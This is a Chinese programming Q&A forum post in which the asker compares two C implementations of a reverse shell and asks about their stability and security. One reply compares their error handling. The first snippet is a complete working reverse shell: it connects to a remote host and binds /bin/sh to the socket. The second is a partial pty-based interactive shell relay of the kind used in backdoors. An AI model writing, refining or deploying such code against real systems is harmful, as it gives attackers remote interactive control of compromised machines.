LovenSar 2022-08-08 14:17 采纳率: 50%
浏览 82

反弹Shell的编程问题:请教两种编程方法的代码稳定性/安全性等区别

问题遇到的现象和发生背景

反弹Shell的编程问题

问题相关代码,请勿粘贴截图

在写代码的时候都尽可能简单和直接,我的编程方法:


    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in stRemoteAddr = {0};
    socklen_t socklen = 0;
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
#ifdef DEBUG
    check(0, "redirectShell...\n");
#endif
    if (sock < 0)
        exit(0);
    char *argv[] = {"sh", "-i", NULL};
    char *envp[] = {0, NULL};
    stRemoteAddr.sin_family = AF_INET;
    stRemoteAddr.sin_addr.s_addr = hostIP;
    stRemoteAddr.sin_port = htons(hostPort);
    if ((connect(sock, (struct sockaddr_in *)&stRemoteAddr, sizeof(stRemoteAddr))) < 0)
        exit(0);
    sleep(1);
    execve("/bin/sh", argv, envp);
    close(sock);

然后我看别人的代码,是这么写的,只放相关代码

    fd_set rd;
    struct winsize ws;
    char *slave, *temp, *shell;
    int ret, len, pid, pty, tty, n;
    if( openpty( &pty, &tty, NULL, NULL, NULL ) < 0 )
    {
        return( 24 );
    }

    slave = ttyname( tty );

    if( slave == NULL )
    {
        return( 25 );
    }
  ……
     if( ioctl( pty, TIOCSWINSZ, &ws ) < 0 )
    {
        return( 40 );
    }
    ……
    pid = fork();

    if( pid < 0 )
    {
        return( 43 );
    }

    if( pid == 0 )
    {
         close( client );
        close( pty );

        if( setsid() < 0 )
        {
            return( 44 );
        }

        if( ioctl( tty, TIOCSCTTY, NULL ) < 0 )
        {
            return( 45 );
        }
        
        dup2( tty, 0 );
        dup2( tty, 1 );
        dup2( tty, 2 );

        if( tty > 2 )
        {
            close( tty );
        }

        execl( shell, shell + 5, "-c", temp, (char *) 0 );
}
else
{ /* Parent process*/
      while( 1 )
        {
            FD_ZERO( &rd );
            FD_SET( client, &rd );
            FD_SET( pty, &rd );

            n = ( pty > client ) ? pty : client;

            if( select( n + 1, &rd, NULL, NULL, NULL ) < 0 )
            {
                return( 49 );
            }

            if( FD_ISSET( client, &rd ) )
            {
               ……
            }

            if( FD_ISSET( pty, &rd ) )
            {
               ……
            }
        }
}
运行结果及报错内容

在运行效果上,两者并没有什么差异,都能成功交互

我的解答思路和尝试过的方法

我的问题是,我的第一种编程方法和第二种编程方法在实现原理上、稳定上、安全性上等方面是有什么差别?

  • 写回答

2条回答 默认 最新

  • 快乐鹦鹉 2022-08-08 14:26
    关注

    第一段代码很独啊,一旦有问题,直接exit(0),像篮球比赛中的终结者,球到他手上,这个回合就结束了,不会给别人传球的
    第二段考虑的比较细致,一旦有问题,会向外反馈问题发生的原因,外部可以针对问题进行相应处理,保障程序可以继续运行

    评论

报告相同问题?

问题事件

  • 创建了问题 8月8日

悬赏问题

  • ¥15 短剧的sdk在哪里接入
  • ¥15 求:可不可以提供一些 在国内可以用,低代码不要太难 在电脑上可以下载的 制作app的软件
  • ¥60 找人回答kibana8.14.3二次集成开发,自定义插件ui导航栏如何设置
  • ¥15 fluke高精度万用表8845A型号测交流电压一直跳动,且去掉输入后显示不归零
  • ¥15 不同模型怎么用同一个shader
  • ¥15 安卓启动没有ais proxy与v4l2的log打印
  • ¥15 go怎么读取mdb文件里面的数据
  • ¥60 Matlab联合CRUISE仿真编译dll文件报错
  • ¥15 脱敏项目合作,ner需求合作
  • ¥15 脱敏项目合作,ner需求合作